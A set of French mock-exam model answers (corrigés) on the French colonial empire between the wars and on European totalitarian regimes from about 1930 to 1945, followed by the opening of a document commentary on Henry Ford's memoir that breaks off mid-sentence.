Corrigé de H1-2017, la première composition d’Histoire de l’année.

CONCOURS BLANC – L’EMPIRE FRANÇAIS DANS L’ENTRE-DEUX-GUERRES

Intro

– accroche : « Il faut que chacun de nous se sente citoyen de la plus grande France, celle des cinq parties du monde. » (Paul Reynaud, ministre des Colonies, discours inaugural de l’Exposition coloniale en mai 1931)

– définition sujet : bornes chronologiques (1919-1939) & spatiales (étendue sur les 5 continents), termes techniques (colonialisme, colonies)

pbq : Comment expliquer la pérennité du fait colonial français entre 1919 et 1939, et dans quelle mesure cette pérennité est-elles sans limites ?

 

 

 

 

I-L’entre-deux-guerres, l’apogée de l’Empire français par son extension et un large consensus

1-Le deuxième plus vaste Empire colonial

– la France est l’un des grands vainqueurs de WWI, donc étend ses possessions au détriment des vaincus avec le système des mandats confiés par la SDN en 1922 : Syrie & Liban de l’ancien Empire ottoman au Moyen-Orient ; Togo & Cameroun de l’ancien Empire allemand en Afrique

– la guerre du Rif (1925-1927) permet à la France d’étendre son contrôle sur le Maroc : territoire convoité notamment pare que perçu comme un prolongement « naturel » de l’Algérie – l’accord du 4 novembre 1911 conclu avec l’Allemagne avait permis à la France d’imposer son protectorat (établi définitivement avec la Convention de Fès du 30 mars 1912) sans revendications ou contestations de la part du rival allemand ; la zone du Rif, reconnue possession espagnole, fut divisée entre France & Espagne à l’issue de la guerre

– donc Empire de 12 M de km2 ou plus & 110 M d’habitants lors de son extension maximale en 1939 : aux anciennes colonies (Guadeloupe, Martinique ou La Réunion) se sont ajoutés, à partir du XIXème siècle, un important domaine africain (Algérie, Tunisie, Maroc, Madagascar, Afrique subsaharienne, péninsule indochinoise & territoires insulaires en Océanie)

– la politique coloniale française, quelque soit le statut des territoires sous sa domination (protectorats, mandats, colonies, DOM) pratique une administration directe : la métropole, représentée par des fonctionnaires, gère la colonie en pratiquant généralement une politique d’assimilation & d’acculturation des « races inférieures », qu’il faut amener au niveau de civilisation du colonisateur – en effet, la propagande française d’après-guerre développe le thème de la continuité, qui se retrouve dans les notions de France d’outre-mer ou d’Empire

 

2-Une bonne conscience coloniale renforcée par la guerre, mais le « consensus colonial » est un mythe comme en atteste le cas français

– participation par divers moyens des colonies à l’effort de guerre de la France : 600 000 soldats coloniaux ont combattu dans l’armée française (ex : les tirailleurs sénégalais dans les tranchées), main-d’œuvre dans les usines ou les champs (Indochinois…), fourniture en produits de 1ère nécessité (riz, café, cacao, oléagineux, caoutchouc) – donc cela dément l’argument des anticolonialistes de l’avant-guerre, qui voyait dans cette participation un affaiblissement national face à l’Allemagne

– l’image du colonisé change : devenu sympathique, comme le montre la « réclame » ; exaltation de l’œuvre civilisatrice (le « fardeau de l’homme blanc » selon l’écrivain britannique Rudyard Kipling), comme en atteste la célébration du centenaire de la colonisation de l’Algérie en 1930, qui rassure sur la supériorité de la civilisation européenne fortement ébranlée par la sauvagerie de la Grande Guerre

– succès des Expositions coloniales, comme celle à Vincennes qui ouvre le 6 mai 1931 : elle tente de promouvoir l’image d’une France impériale à l’apogée de sa puissance, afin de développer l’intérêt des Français pour leurs colonies & de renforcer l’adhésion de la population française à l’entreprise coloniale (elle est donc conçue en partie comme une manifestation exotique & artistique : spectacles, courses de chameaux, promenades en pirogues, dégustations de spécialités locales, visites d’expositions d’objets d’art « primitifs »…) mais aussi de montrer les réalisations de la politique coloniale (progrès économiques, réalisations sociales, progrès de l’hygiène & de la santé publique)

– mais, si la mission civilisatrice de la colonisation est affirmée de façon didactique los de l’exposition de Vincennes, ce n’est pas ce qui intéresse le plus les visiteurs : cela montre que le degré d’adhésion des Français à l’idée coloniale est alors surestimé, & qu’il s’agit davantage de curiosité & de fierté – à part le personnel politique, les fonctionnaires coloniaux, les militaires & certains milieux d’affaires, la masse des Français reste ignorante ou indifférent aux cultures & aux peuples colonisés

 

 

 

II-Les difficultés de la métropole française rejaillissent sur les colonies

1-Une métropole qui a beaucoup demandé à ses colonies, en échange de promesses

– promesses non tenues, car peu d’évolution significative dans les colonies : les sacrifices consentis ou forcés par les colonisés ne font pas l’objet d’une reconnaissance concrète (ex : en termes d’égalité de pension pour les anciens combattants indigènes, comme le montre le cas des Harkis après la guerre d’Algérie)

– les sociétés coloniales restent duales : cf. la distinction entre la ville blanche & la ville autochtone ; le mépris, & au mieux le paternalisme (cf. Tintin au Congo, de Hergé), caractérisent le regard du colon sur les indigènes

– en termes de droits, cf. le code de l’Indigénat dans une Algérie au statut pourtant départemental : le code de l’Indigénat soumet les populations indigènes à un régime juridique & fiscal d’infériorité & les prive de droits politiques ; l’économie coloniale pèse lourdement sur les populations locales (expropriations des terres, travail forcé, exode rural de paysans expropriés ou ruinés…)

– en termes de développement, l’investissement s’inscrit toujours dans une logique d’exploitation : cf. les travaux d’infrastructures aux fins d’exportations (routes, voies ferrées, ports… construits par la main-d’œuvre locale forcée – ex : 20 00 morts pour le chemin de fer Congo-Océan) ; la politique sanitaire avec des campagnes massives de vaccination permet à la population de l’AOF de passer de 12 à 14 M entre 1922 & 1939, mais les hôpitaux restent peu nombreux (12 seulement en 1937), & l’action sanitaire répond à des objectifs sanitaires (éradiquer les pandémies) mais aussi à des impératifs économiques (maintenir une main-d’œuvre en bonne santé) ; en matière d’éducation (présentée comme un instrument de la « mission civilisatrice »), l’école reste d’un accès limité pour les peuples colonisés, avec de faibles budgets, & traduit d’abord la volonté de former des administrateurs & de diffuser l’idéologie coloniale

 

2-La crise économique des années 1930 aggrave la dépendance des colonies à l’égard de la métropole

– les colonies sont les principaux fournisseurs de la métropole, donc ressentent la baisse de la consommation : frappées par le chômage, la chute des prix, le protectionnisme accru des puissances occidentales… – d’autant que faible investissement de la métropole pour développer un marché intérieur, car les colonies ne devant rien coûter à la métropole mais au contraire s’autofinancer (en 1913, les investissements coloniaux français ne représentent que 10% des capitaux investis à l’étranger)

– la métropole cherche à compenser dans son Empire les déconvenues enregistrées ailleurs : les colonies vont constituer un débouché majeur – dans les 1930s elles absorbent 50% des tissus de coton & 33% des automobiles produites en France

 

 

 

III-La montée des contestations dans l’Empire français

1-La contestation interne à la métropole française reste marginale

– dès les débuts de la colonisation, certains Européens, minoritaires (principalement communistes & anarchistes) la dénoncent : soit pour des raisons d’ordre idéologique ou humaniste – ex : Clémenceau, qui s’oppose au principe d’inégalité des races ; les socialistes, qui dénoncent l’exploitation économique des colonies ; des intellectuels (ex : André Gide, Voyage au Congo, 1927), artistes (promotion de la richesse culturelle des peuples dominés : les surréalistes autour de Breton ou Picasso avec « l’art nègre ») & journalistes qui condamnent la violence imposée aux populations indigènes – soit pour des raisons concrètes (ex : les économistes libéraux critiquent le coût de la colonisation)

– le courant révolutionnaire en France est représenté notamment par le parti communiste : avec l’URSS, il dénonce la domination coloniale (cf. la contre-campagne lors du centenaire de l’Algérie française, l’opposition à la guerre du Rif…) & apporte son soutien aux 1ères revendications d’indépendance, & forme des futurs dirigeants communistes dans les colonies (Hô Chin Minh en Indochine…)

 

2-L’opposition au colonialisme se structure de plus en plus dans les colonies, du fait d’une délégimitation et d’un nationalisme de plus en plus prononcés

– la guerre met en lumière l’escroquerie du « discours civilisateur » : ceux qui ont combattu aux côtés des soldats français ont fait l’expérience du « mythe » de la supériorité de l’homme blanc, fondement du fonctionnement de la société coloniale ; & ceux qui ont travaillés & ont été formés en France ont appris les valeurs de la démocratie libérale, le principe du droit des peuples à disposer d’eux-mêmes (cf. les « 14 points » du président américain Woodrow Wilson en janvier 1919, sur la base desquels sera créée la SDN), mais non appliqué dans les colonies car la métropole reste sourde à leurs revendications (ex : arrestation de Messali Hadj, fondateur en 1926 de l’Etoile Nord-africaine), préférant écouter les intérêts particuliers des colons

– si la situation dans les mandats est particulière, marquée notamment par des révoltes brutalement réprimées (ex : Druses en Syrie en 1925, Marocains dans le Rif en 1926-1927…), dans la plupart des colonies la contestation est au départ politique : les élites demandent des réformes égalitaires (ex : Fehrat Abbas en Algérie)

– face au refus de la métropole, radicalisation de la contestation en mouvements indépendantistes : Etoile Nord-africaine de Hadj (Algérie, 1926), Parti national du Vietnam (1927) & Parti communiste indochinois de Hô Chi Minh (1931), Néo-destour de Bourguiba (Tunisie, 1934)

 

 

 

Ouverture

Derrière l’apogée, l’entre-deux-guerres exacerbe les contradictions de la domination coloniale, préparant les drames indochinois et algérien de l’après Seconde Guerre mondiale, la métropole n’ayant pas écouté les peuples dominés car n’étant pas prête à comprendre ni à accepter leurs revendications d’indépendance

CONCOURS BLANC – LES REGIMES TOTALITAIRES EN EUROPE, DU TOURNANT DES DECENNIES 1920-1930 A LA FIN DE LA SECONDE GUERRE MONDIALE

 

 

– définition sujet : « régimes totalitaires », étiquette commode mais interrogeable – elle borne spatialement le sujet à l’Italie fasciste, l’URSS stalinienne & l’Allemagne nazie, en distinguant ces régimes des dictatures classiques & des démocraties libérales mais en associant des régimes à maints égards antagonistes, donc pose un problème. Problème non seulement en fonction de leurs différences (économiques, idéologiques…), mais aussi du fait de leur affrontement pendant la 2ème Guerre mondiale. Si la formulation du sujet implique l’existence de traits communs essentiels entre ces 3 régimes, l’existence de différences ne peut donc être écartée : le traitement du sujet n’implique pas de prouver une similitude des 3 régimes, il faut donc intégrer pleinement les différences à la réflexion. Donc nécessité d’user du terme « totalitarisme » dans le devoir dans une acceptation ample, pour désigner les pratiques d’encadrement de la société qui visent son remodelage complet & son entière adhésion au projet de l’Etat. La borne chronologique en amont associe l’inflexion totalitaire de l’Italie & de l’URSS & l’arrivée au pouvoir de Hitler ; la borne en aval soulève la question de la victoire & donc du maintien & du renforcement de l’un des 3 régimes étudiés, l’URSS, alors que les 2 autres sombrent dans la défaite

 

 

Le 14 novembre 1997, Jean-François Revel, qui a inventé la formule « La comparaison interdite : communisme & nazisme« , déclarait dans le journal Le Figaro :
 »Etre assassiné par Pol Pot est-il moins grave que d’être assassiné par Hitler ? Il n’y a pas lieu d’établir de distinction entre les victimes des totalitarismes “noir” ou “rouge”. Le totalitarisme nazi n’a pas fait mystère de ses intentions : il entendait éliminer la démocratie, régner par la force & développer tout un système de persécutions raciales. On nous dit que les communistes avaient un idéal. Je suis presqu’enclin à trouver cela encore pire. Parce que cela signifie que l’on a délibérément trompé des millions d’hommes. Parce que l’on a ajouté ainsi aux crimes le mensonge le plus abject « . Le 24 août 1939, l’Allemagne hitlérienne & l’URSS stalinienne signent le pacte germano-soviétique, ce rapprochement contre-nature si l’on considère l’antagonisme politique qui oppose nazisme & communisme : cela stupéfie le monde après des années de mobilisation antifasciste, comme si une nature similaire – donc totalitaire, comme l’avait théorisé H. Arendt dans Les origines du totalitarisme (1951) – permettait à ces régimes de s’allier malgré tout. L’entre-deux-guerres est marqué en Europe par l’apparition de dictatures d’un type nouveau, qui proclament leur ambition de remodeler profondément la société & exigent l’adhésion complète de celle-ci à leur projet. La profondeur de cette ambition & de cette exigence explique le recours à la notion de « totalitaire » pour désigner ces régimes. Cette ambition comparable & des méthodes communes d’encadrement de la société justifient le rapprochement de régimes dont l’antagonisme politique va pourtant se traduire par un très violent affrontement en 1941-1945. Trois régimes peuvent être qualifiés de totalitaires dans les 1930s : l’Italie fasciste, l’URSS stalinienne & l’Allemagne nazie, trois régimes qui vont connaître des destins divergents durant la Seconde Guerre mondiale. Quels sont donc les traits communs & les différences entre les régimes totalitaires en Europe dans les 1920-1940s ? Au-delà, comment expliquer que des régimes politiquement opposés partagent des caractéristiques similaires ? Afin de mieux cerner les tenants & aboutissants de ces questions, nous étudierons tout d’abord la naissance de ces régimes, puis leurs traits communs & leurs différences au temps de leur maturité, & enfin leur implication dans la Seconde Guerre mondiale.

 

 

I – La naissance des régimes totalitaires

  1. A) Des pays confrontés à de profondes difficultés économiques et sociales

1) En Italie : retard & tensions

– Italie en retard économiquement dans les 1920s & 1930s : 1919-1920, les « 2 années rouges » (Biennio rosso) sont marquées par une crise due au coût de la 1ère Guerre mondiale (670 000 soldats morts, 500 000 mutilés, production tombée à 73% de son niveau de 19-13, appauvrissement général – notamment des classes populaires -, chômage des soldats rentrés du front, prix multipliés par 5,7 1913-1919…)

– fossé Nord moderne/Sud (Mezzogiorno) archaïque qui s’accentue

– donc ces difficultés nourrissent des tensions : 1919-1920, occupation des grandes terres foncières par les soldats démobilisés, ouvriers agricoles… ; multiplication des émeutes contre la vie chère ; grèves qui se succèdent entre 1919 & 1920 – d’où la nécessité, selon le régime, d’encadrer rigoureusement la société

2) En URSS : une modernisation qui bouleverse la société & l’économie en profondeur

– début XXème siècle, la Russie est la puissance la moins développée d’Europe : industrialisation amorcée seulement dans les 1880s – d’où ses difficultés pendant la 1ère Guerre mondiale (qui la poussent à signer le traité de paix de Brest-Litovsk avec l’Allemagne en mars 1918)

– période relativement libérale de la NEP (Nouvelle Politique Economique) : mise en œuvre à partir de 1921, elle introduit une relative libéralisation économique (« Faire au capitalisme une place limitée pour un temps limité » – Lénine) & vise à redynamiser le pays après la 1ère Guerre mondiale, une révolution & une famine

– à partir de 1928, Staline engage une mutation économique fondée sur l’industrialisation & la collectivisation agricole (dans les kolkhozes – coopératives agricoles – & sovkhozes – fermes d’Etat) : mais cela suscite de fortes opposition & un exode rural massif, d’où une forte répression & un encadrement draconien par le régime

3) En Allemagne : le choc de la crise au début des 1930s

– 17-25% de la population active est au chômage en 1932 (6 millions de chômeurs complets & 6 millions de chômeurs partiels en 3 ans)

– la production industrielle a chuté de 47% entre 1929 & 1933

– le PNB a chuté de 50%

– la monnaie est fortement dépréciée

– retrait des capitaux américains, qui maintenaient sous perfusion l’économie allemande (permettant de payer les réparations de guerre fixés par le traité de Versailles…)

 

  1. B) Un champ politique propice ?

1) De faibles traditions démocratiques

– en Russie ; le pays est resté soumis au tsarisme (régime monarchique autoritaire en place depuis le XVIème siècle) jusqu’en 1917 (puis mise en place d’une dictature communiste)

– en Italie : l’agitation sociale & la faiblesse de la tradition démocratique (unité nationale récente, datant de 1870 ; démocratie censitaire caractérisée par la faiblesse du corps civique, le clientélisme & les gouvernements de coalition) expliquent que les classes dominantes aident les fascistes à parvenir au pouvoir en 1922, qui y parviennent par la force (Mussolini crée en 1919 les Faisceaux de combat, groupes paramilitaires – Squadristi – qui contribuent à un climat social agité voire violent ; marche sur Rome de Mussolini en octobre avec 30 000 chemises noires, donc nommé 1er ministre par le Roi le 29 octobre). Mais certaines institutions traditionnelles subsistent (monarchie maintenue en place, Eglise…) ; & régime soutenu par les milieux d’affaires (industriels, banquiers) par peur des communistes, & qui pensent pouvoir le contrôler

– en Allemagne : l’expérience démocratique est plus importante (République de Weimar), mais récente (en place depuis le 9 novembre 1918 – & unité nationale récente aussi : depuis 1871), & contestée par une extrême-droite très virulente (expéditions punitives contre les syndicats & combats de rue contre les communistes par les SA, ce qui contribue à l’agitation sociale & à la peur) mais qui parvient au pouvoir par la voie des urnes (victoire du NSDAP aux élections législatives de novembre 1932 – plus de 30% des suffrages -, donc nomination de Hitler chancelier par le président Hindenburg le 30 janvier 1933). & régime soutenu par les milieux d’affaires (industriels, banquiers) par peur des communistes, & qui pensent pouvoir le contrôler

2) Le choc de la Première Guerre mondiale

– Italie : pays frustré de sa victoire en 1918 (« victoire mutilée ») par le traité de Versailles – les territoires italiens sous domination austro-hongroise ne sont pas récupérés (ex : Iles dalmates). Les fascistes jouent sur ce sentiment de frustration chez les Italiens

– Allemagne : refus du diktat de Versailles – donc de la défaite & des exigences exorbitantes de réparations…

– URSS : naissance douloureuse après que la Russie fut déchirée par une guerre civile en 1918-1921 au cours de laquelle le PC a imposé sa dictature) – l’URSS (créée en 1922 par Lénine) apparaît donc comme un pays arriéré & ravagé, que le nouveau pouvoir en place doit moderniser & défendre face à des menaces extérieures

– & selon certains historiens, influence de la violence déployée pendant la guerre (brutalisation), qui envahit le champ politique, provoquant sa brutalisation & favorisant l’instauration de régimes totalitaires : ex avec l’expérience de combattants, donc de la violence de masse, de Mussolini & de Hitler, & sa transposition au domaine politique (chemises noires, SA & SS)

 

 

II – L’Etat cherche à contrôler et à mobiliser totalement la société

  1. A) La recherche de l’unité nationale

1) Le culte du chef

– exaltation de son génie, omniprésence de son image (affiches, tableaux…), glorification de sa personne (ex : Staline « petit père des peuples »…)

– Staline, Mussolini & Hitler sont le chef de leur parti unique & le dirigeant suprême du pays, ou « guide » (Vojd, Duce & Führer respectivement)

2) Une idéologie prononcée

– le fascisme rejette à la fois la démocratie parlementaire & le communisme, exalte le nationalisme & le bellicisme

– le nazisme fait de même, & y ajoute le racisme (notamment l’antisémitisme : cf. l’exclusion des Juifs de la nation par les lois de Nuremberg de novembre 1935, puis leur persécution croissante de la Nuit de cristal de novembre 1938 au cantonnement dans les ghettos & camps de concentration, enfin l’élimination dans les camps d’extermination) & la glorification raciale (race aryenne « pure » & supérieure) – contrairement au fascisme, même si des lois racistes sont adoptées en 1935 & des lois antisémites en 1938 (mais peu appliquées)

– en URSS, le communisme vise la construction d’une société juste grâce à l’abolition du capitalisme & des classes sociales, & prétend défendre les travailleurs & opprimés de l’ensemble du monde (cf. la IIIème Internationale de mars 1919, ou internationale communiste/Kominterm)

– mais point commun aux 3 régimes : la volonté de façonner un « homme nouveau », conforme à leur idéologie – par le contrôle des artistes & intellectuels (ex : autodafés de livres communistes ou juifs en Allemagne…), à quoi le nazisme ajoute l’eugénisme (expériences médicales/scientifiques sur handicapés mentaux &/ou physiques puis déportés… : définie par un ensemble de lois & décrets de 1933, avec notamment le programme Aktion T4 d’euthanasie & de stérilisations contraintes, les camps d’euthanasie construits dès 1939)

3) Le parti unique

– confusion entre les ordres du chef & les lois

– superposition des structures de l’Etat à celles du Parti unique : les dirigeants se servent des rivalités internes (ex : SA/SS)

– unipartisme : en URSS, PC dès 1918, symbole de l’unité d’un peuple sans classes sociales ; en Italie, parti fasciste dès 1926 (à partir de 1925, « lois fascistissimes » qui organisent la dictature – autres partis politiques que le parti fasciste & élections locales interdits) ; en Allemagne, NSDAP ou parti nazi dès juillet 1933 (étapes précédentes : interdiction du PC après l’incendie du Reichstag le 27 février 1933, dont Hitler accuse les communistes ; suppression des libertés individuelles le lendemain ; loi des pleins pouvoirs du 23 mars 1933, qui instaure la dictature légale)

 

  1. B) La mobilisation du peuple

1) L’embrigadement des masses

– apparition d’organisations de masse au travail : syndicats soumis au PC en URSS, interdits en Allemagne (mai 1933) & Italie, où création de nouvelles organisations associant patrons & salariés, qui interdisent toute protestation de salariés – Front du Travail ou Deutsche Arbeitsfront (DAF) en Allemagne (créé en avril 1933, il compte des organisations destinées à subventionner les congés ouvriers, les manifestations culturelles & sportives… – ex l’Office de la propagande, le Service du travail du Reich, l’Office pour le sport…) ; Corporations de métiers & syndicats fascistes en Italie (patrons, ouvriers & employés soumis au contrôle de l’Etat ; métiers organisés en corporations – ne pas avoir sa carte du parti ou du syndicat, c’est se voir refuser l’accès à certains emplois, loisirs…), & grève interdite en Italie en 1927

– l’ambition de façonner un « homme nouveau » pousse les régimes totalitaires à encadrer particulièrement la jeunesse, & ce dès le plus jeune âge, dans des organisations où on apprend la vie en collectivité, le culte du chef & du régime & on reçoit une éducation physique & paramilitaire : Enfants de la Louve de 4 à 8 ans, Balilla de 8 à 14 ans puis « Avant-gardes » (Avanguardisti) de 14 à 18 ans en Italie ; Der Pimpf (magazine pour les garçons, notamment ceux des Deutsches Jungvolk, qui relaie la propagande du régime & vante les aventures des Jungvolk & Hitlerjugend), Jungvolk de 10 à 14 ans, Jeunesses hitlériennes (ou Hitlerjugend) de 14 à 18 ans en Allemagne ; en URSS, Octobriens de 8 à 10 ans, Pionniers de 10 à 14 ans, puis Komsomols (jeunesses communistes) de 14 à 25 ans

2) Une intense propagande

– contrôle des médias (censure…)

– utilisation des nouveaux médias : radio & cinéma – cf. S. Eisenstein en URSS (glorification des héros nationaux & du culte du chef dans Ivan le terrible en 1942… ; glorification de la révolution nationale dans Le cuirassé Potemkine en 1925), L. Riefenstahl en Allemagne (Triomphe de la volonté en 1935, film du congrès nazi de Nuremberg ; Les dieux du stade en 1938, glorification des JO de Berlin de 1936…)

– & création d’un ministère du Reich à l’Education du peuple & à la Propagande avec Goebbels en Allemagne, d’un ministère de la Presse & de la Propagande en Italie

3) Les fastes du régime

– grandes cérémonies régulières pour célébrer le régime & son chef : manifestations de masse organisées avec le peuple (défilé du 1er mai à Moscou, discours de Mussolini) ou avec les militants du parti (congrès du parti nazi à Nuremberg…)

– exploitations d’occasions particulières : JO de Berlin en 1936, succès sportifs italiens (football…), exploit de l’ouvrier soviétique Stakhanov…

– ces régimes recueillent une véritable adhésion : en Italie, avec les accords du Latran en 1929 (avec le pape) ; en URSS, grâce aux progrès sociaux & économiques ; en Allemagne, grâce au recul du chômage & aux succès expansionnistes (Anschluss en 1938…)

 

  1. C) Une répression féroce

1) Le refus de la pluralité

– tensions entre Eglise catholique & régimes fasciste & nazi sur la question de l’encadrement de la jeunesse

– condamnation d’anciens dirigeants (officiers de l’armée, cadres du PCUS…) en URSS lors des Grands Procès (ou « purges ») de Moscou (1936-1938) : l’objectif est d’éliminer les vétérans bolcheviks (notamment trotskistes) de la Révolution d’Octobre (1917), en les discréditant d’abord auprès delà population (car populaires) avant de les exécuter ou déporter au Goulag

2) Le recours à la violence & à la terreur

– milices fascistes (chemises noires) & nazies (SA & SS) font régner la terreur dans la rue

– polices politiques redoutables (surveillance des populations, arrestations, torture, exécutions, assassinats, déportation) : contre les opposants (communistes en Italie & Allemagne…), les groupes ethniques (Tatars de Crimée en URSS) & religieux (Juifs en Allemagne), les catégories sociales (paysans aisés – koulaks – opposés à la collectivisation des terres en URSS…) : Gestapo en Allemagne, OVRA en Italie, Tcheka puis NKVD en URSS – liquidations, déportations dans les « bagnes de feu » (îles Lipari) en Italie, Goulag en URSS (en 1953, à la mort de Staline, 2,4 millions de prisonniers dans les camps), camps de concentration en Allemagne (1er ouvert en mars 1933 : Dachau)

 

 

III – Les régimes totalitaires à l’épreuve de la Seconde Guerre mondiale

  1. A) Du pacte germano-soviétique à un violent affrontement

1) Le pacte germano-soviétique (23 août 1939)

– révélateur de la convergence possible de régimes qui partagent une même nature totalitaire, au-delà de leurs différences ?

– régimes nazi & soviétique tous 2 expansionnistes & auteurs de massacres : exécution à Katyn (près de la frontière biélorusse) en avril-mai 1940 de plus de 4 000 officiers & autres personnalités polonais par les Soviétiques ; spécificité du génocide des Juifs par les nazis, incomparable à d’autres massacres de masse de par son ampleur & son organisation « industrielle » dans les « camps de la mort » (Solution finale décidée à la conférence de Wannsee, 20 janvier 1942 : chambres à gaz & fours crématoires – près de 5 millions de victimes), mais aussi avec les « liquidations des ghettos » (ex : à Varsovie en juillet 1942 – 260 000 déportés tués) ou les exécutions en plein air (par les Einsatzgruppen (unités de police politique militarisées composées surtout de SS, qui agissaient dans les territoires occupés de l’est de l’Europe pour exterminer cadres polonais, handicapés, Juifs, Tsiganes, prisonniers de guerre & civils soviétiques – plus d’1 million de victimes entre 1940 & 1943)

– traité qui consacre surtout l’évolution des relations internationales dans les 1930s, marquées par les coups de force fascistes & les dérobades des démocraties : remilitarisation de la Rhénanie en mars 1936 (en violation des termes du traité de Versailles) – la France en appelle à la SDN, mais condamnation de l’Allemagne sans sanctions ; annexion de l’Autriche (Anschluss) en mars 1938 (après un plébiscite) – protestation de la France & de l’URSS, mais position plus modérée de la GB (politique « d’appeasement » du 1er ministre Chamberlain), & la conférence de Munich (septembre 1938) consacre le recul & l’humiliation des démocraties & l’expansionnisme hitlérien (région des Sudètes accordée à l’Allemagne nazie, donc Tchécoslovaquie démembrée & fragilisée) ; invasion en mars 1939 par Hitler de la Bohême & Moravie puis annexion du reste de la Tchécoslovaquie, etc.

– donc méfiance de Moscou, qui choisit le rapprochement avec Berlin pour gagner du temps (& se préparer à la guerre)

2) Un violent affrontement

– 22 juin 1941 : URSS attaquée par l’Allemagne nazie (opération Barbarossa) – les nazis déploient une grande violence (Einsatzgruppen & 1ères expériences de gazage sur les Juifs & communistes…)

– guerre sur le front russe très meurtrière : pour les Allemands – cf. Stalingrad (hiver 1942-1943 : des centaines de milliers de pertes) – & surtout pour les Soviétiques (total de plus de 20 millions de morts)

3) L’URSS dans le camp des démocraties

– la guerre oppose fascismes & démocraties : celles-ci accueillent l’URSS dans une « alliance bizarre » (E. Hobsbawn, L’Age des extrêmes : le court XXème siècle, 1914-1991, 1994), rendue possible par le relâchement introduit par Staline & l’invasion allemande de l’URSS

– donc contraste avec le raidissement des puissances fascistes, qui aboutit à l’alignement complet de Mussolini sur Hitler, à l’émergence de l’Etat SS (cf. Eugen Kogon, L’Etat SS : Le système des camps de concentration allemands, 1970 – rapport dans lequel sont examinés les différents genres de camps, leur organisation interne, leur aménagement…) & aux génocides (Shoah & Samudaripen)

 

  1. B) Des destins divergents

1) Les revers des puissances fascistes suscitent l’émergence de dissensions intérieures

La résistance au régime se renforce dans ces 2 Etats :

– le débarquement des alliés en Sicile en juillet 1943 précipite la chute de Mussolini, organisée par des dignitaires fascistes & militaires (le 25 juillet, le Grand Conseil du fascisme démet Mussolini de ses fonctions au profit du Roi –Mussolini est arrêté & emprisonné, puis libéré par les Allemands qui envahissent le pays en septembre 1943 & le placent à la tête d’un Etat italien fantoche, la République sociale italienne, jusqu’en avril 1945)

– en Allemagne, des officiers aristocrates tentent d’abattre Hitler (attentat du 20 février 1944) : complot visant à renverser le régime nazi pour ensuite négocier la fin de la guerre avec les Alliés – mais échec (Hitler seulement légèrement blessé par la bombe), & répression très dure, qui renforça le rôle de Himmler (chef des SS & de la Gestapo) & la méfiance de Hitler envers les officiers (sauf ceux de la SS)

2) Une mobilisation consensuelle en URSS

– la « grande guerre patriotique » passe par « l’exaltation du patriotisme, le relâchement des contrôles & le consensus social » (N. Werth, La Terreur & le désarroi : Staline & son régime, 2007) : changement d’orientation très net à partir de l’été 1941, pour résister à l’offensive allemande ; puis le consensus se nourrit des victoires (Stalingrad…)

– manifestations : rapprochement avec l’Eglise orthodoxe, suppression des commissaires politiques dans l’armée, plus grande liberté économique accordée aux kolkhozes – mais aussi accentuation du culte de la personnalité de Staline

3) Le totalitarisme en Europe à la fin de la Seconde Guerre mondiale

– écroulement des régimes fasciste & nazi : la convergence des armées de la Grande Alliance vers Berlin en avril 1945 pousse Hitler au suicide dans son bunker (30 avril 1945) & à la capitulation allemande le 8 mai 1945  donc chute du régime du IIIème Reich nazi ; en avril 1945, toujours plus isolé & impuissant (lâché par les autorités allemandes), Mussolini tente de fuir mais est arrêté & le Comité de Libération Nationale (CNL – composé du PC, parti socialiste, parti démocrate chrétien, parti libéral…) le fait exécuter le 28 avril (il est fusillé)

– renforcement de l’URSS : de nombreux Soviétiques espèrent que la fin de la guerre va permettre la poursuite de la libéralisation (amorcée avec la « grande guerre patriotique »), mais reprise en main stricte par Staline & renforcement du caractère totalitaire du régime (& affirmation croissante de son rayonnement en Europe de l’est)

– découverte du système concentrationnaire nazi, notamment des camps d’extermination : grand choc moral, d’où la nécessité de punir les criminels lors des procès de Nuremberg (20 novembre 1945-1er octobre 1946) – 1er TPI de l’histoire (tribunal militaire international), qui élabore la notion de crime contre l’humanité (seul crime imprescriptible) pour condamner un génocide dont la réalisation est inhérente à la nature totalitaire du régime nazi. Sont mis en accusation des individus (22 hauts dignitaires du régime nazi) & des organisations (la SS, le SD – service de renseignements nazi – & la Gestapo)

 

 

Conclusion

Les régimes fasciste, stalinien & nazi présentent d’importants traits communs, qui justifient le recours à la notion de « totalitaire » : ils partagent la même volonté de contrôler totalement la société en vue de la remodeler, & développent des méthodes similaires d’encadrement. Cependant, ils présentent aussi d’indéniables différences, économiques, sociales & politiques, qui invalident l’assimilation du communisme au nazisme telle celle opérée pendant la Guerre Froide. De plus en plus proche de l’Allemagne, l’Italie conserve une certaine originalité. En outre, ces régimes connaissent des destins différents pendant la Seconde Guerre mondiale : le génocide perpétré par les nazis reste exceptionnel par son ampleur & son horreur ; victorieuse & alliée aux démocraties victorieuses, l’URSS bénéficie de ce fait d’un immense prestige à la fin de & après la guerre. L’avènement de régimes comparables quoiqu’antagonistes tient sans doute à des contextes identiques par bien des aspects, sur les plans économique & social comme politique. La période 1930-1945 peut passer pour celle de l’apogée du totalitarisme en Europe. Si l’écroulement des régimes d’extrême-droite clôt cette période, la diffusion du modèle stalinien en Europe ouvre un deuxième âge du totalitarisme & le temps de l’affrontement entre communisme & démocraties libérales : alors qu’en 1945 encore l’administration américaine s’efforce de bloquer la publication de I chose Freddom du transfuge soviétique V. Kravchenko réfugié aux Etats-Unis, W. Churchill en 1946 puis H. Truman en 1947 dénoncent l’URSS comme un régime totalitaire.

 

 

 

 

 

 

 

 

 

 

 

 

 

ETUDE CRITIQUE DE DOCUMENT – HENRY FORD

 

 

 

La source de ce texte est un livre publié en américain en 1922, donc au début des Twenties, période de forte industrialisation aux Etats-Unis. Mais il s’agit d’un montage d’extraits réalisé pour le sujet, qui ne peut donc épuiser le contenu de ce livre, assez épais, comme l’indique la référence au volume XVI-314 p. Au travers des extraits fournis de l’ouvrage, My life and work apparaît à la fois comme un témoignage au ton assez personnel, le récit de l’histoire d’un entrepreneur, et enfin une somme de conseils et d’affirmations généraux. L’ouvrage est vite traduit en français (1924), ce qui constitue un indice de son succès et/ou de celui de son auteur. Celui-ci, l’entrepreneur américain Henry Ford, est un homme mûr en 1922. Le texte permet de rattacher aisément Ford non seulement à la production automobile mais aussi à différentes dimensions de celle-ci. Ce document illustre donc, à travers l’exemple de l’industriel Henry Ford, les succès de la deuxième Révolution industrielle aux Etats-Unis, et ses conséquences pour la société de l’époque. On peut donc se demander en quoi consistent ces changements économiques et sociétaux, mais aussi dans quelle mesure ce document ne comporte-t-il pas des limites à cet égard. Afin de mieux cerner les tenants et les aboutissants de ce sujet, nous verrons que Henry Ford est un entrepreneur marquant de la deuxième moitié du XIXème siècle, emblématique des mutations économiques et sociales de cette époque, celle de la 